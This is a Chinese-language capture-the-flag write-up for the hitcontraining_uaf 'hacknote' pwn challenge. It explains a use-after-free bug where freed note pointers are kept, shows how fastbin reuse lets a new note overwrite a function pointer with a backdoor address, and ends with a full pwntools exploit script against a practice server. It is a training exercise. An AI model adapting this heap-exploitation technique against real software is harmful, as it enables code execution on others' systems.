hitcontraining_uaf
惯例先checksec一下
开启了nx保护的32位程序 放进ida里看看
没什么营养的main函数
进menu里看看
输入1添加堆 2删除堆 3打印堆 4退出 内心对这些有点数 依次进去看看
首先是1 添加堆
可以发现当result>5时会打印full并无法添加堆 通过尝试我们可以得到最多添加5个堆
首先 我们会存储到一个数组notelist中如果notelist中没有空余位置 则直接退出
如果有的话则malloc一个8字节的堆
前四字节存储print_note_content
print_note_content作用为打印后四字节所存储的内容
后四字节存储 新malloc所想要的size的堆的地址
v1 = *((_DWORD *)¬elist + i); *(_DWORD *)(v1 + 4) = malloc(size);
接下来让我们来看2 删除堆
我们发现删除堆free了两个堆但是却没有将指针删除 因此我们可以联想到use after free漏洞 也就时题目中为我们指明的uaf
3打印堆
注意:此处的打印堆实际上是执行noteliste中的堆而非直接打印
后门函数
审题完成 开始解题
由于每次都重复输入很麻烦 我们选择利用定义函数来帮助我们 即def
添加堆:
def new(lenth,cmd): io.recvuntil('Your choice :') io,sendline('1') io.recvuntil('Note size :') io.sendline(lenth) io,recvuntil('Content :') io.sendline(cmd)
删除堆
def delete(cmd): io.recvuntil('Your choice :') io,sendline('2') io.recvuntil('Index :') io.sendline(cmd)
打印堆(用于执行)
def print(cmd): io.recvuntil('Your choice :') io,sendline('3') io.recvuntil('Index :') io.sendline(str(cmd).encode())
首先我们先申请两遍长度为16的堆
然后将他们删除(注意:此时0和1的执针并没有被删除)
然后再申请一个大小为8的堆 则0上面的内容被程序误认为是要填入数据的段 堆2的数据段和堆0的控制段指向了同一片区域 我们就可以利用堆2篡改堆0上的内容
注意:此处需要我们了解到fastbin是后进先出的 所以堆1的控制端为堆2的控制段 堆0的控制段位堆2的数据段
将其篡改为我们的后门函数 再利用打印段来执行我们的后门函数 成功获取到flag
exp:
from pwn import *
from LibcSearcher import *
io=remote('node4.buuoj.cn',26369)
elf=ELF('./hacknote')
def new(lenth,cmd):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Note size :')
io.sendline(lenth)
io.recvuntil('Content :')
io.sendline(cmd)
def delete(cmd):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Index :')
io.sendline(cmd)
def print_0(cmd):
io.recvuntil('Your choice :')
io.sendline('3')
io.recvuntil('Index :')
io.sendline(str(cmd))
new('16','a'*8)
new('16','a'*8)
delete('0')
delete('1')
new('8',p32(0x8048945)+p32(0x0))
print_0(0)
io.interactive()